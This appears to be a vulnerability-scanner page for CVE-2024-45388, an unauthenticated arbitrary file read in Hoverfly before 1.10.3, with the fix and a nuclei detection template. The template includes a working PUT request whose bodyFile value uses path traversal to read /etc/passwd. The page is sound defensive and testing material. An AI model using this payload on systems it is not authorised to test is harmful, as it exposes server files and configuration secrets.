Hoverfly < 1.10.3 - Arbitrary File Read

highseverity

7.5CVSS score

55.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

Impact

Unauthenticated attackers can read arbitrary files from the Hoverfly server including sensitive configuration data.

Fix

Update Hoverfly to version 1.10.3 or later.

How to confirm it

Send: PUT /api/v2/simulation
Positive when: matches /root:.*:0:0:/ AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-45388 -u <target>

The full check

id: CVE-2024-45388

info:
  name: Hoverfly < 1.10.3 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Hoverfly server including sensitive configuration data.
  remediation: |
    Update Hoverfly to version 1.10.3 or later.
  reference:
    - https://github.com/advisories/GHSA-6xx4-x46f-f897
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45388
    cwe-id: CWE-20
    epss-score: 0.55574
    epss-percentile: 0.99045
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.favicon.hash:1357234275
  tags: cve,cve2024,hoverfly,lfi,intrusive,vkev,vuln

http:
  - raw:
      - |
        PUT /api/v2/simulation HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"data":{"pairs":[{"request":{},"response":{"bodyFile": "../../../../../../../etc/passwd","x":"aaa"}} ]},"meta":{"schemaVersion":"v5.3"}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - 'hoverflyVersion'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from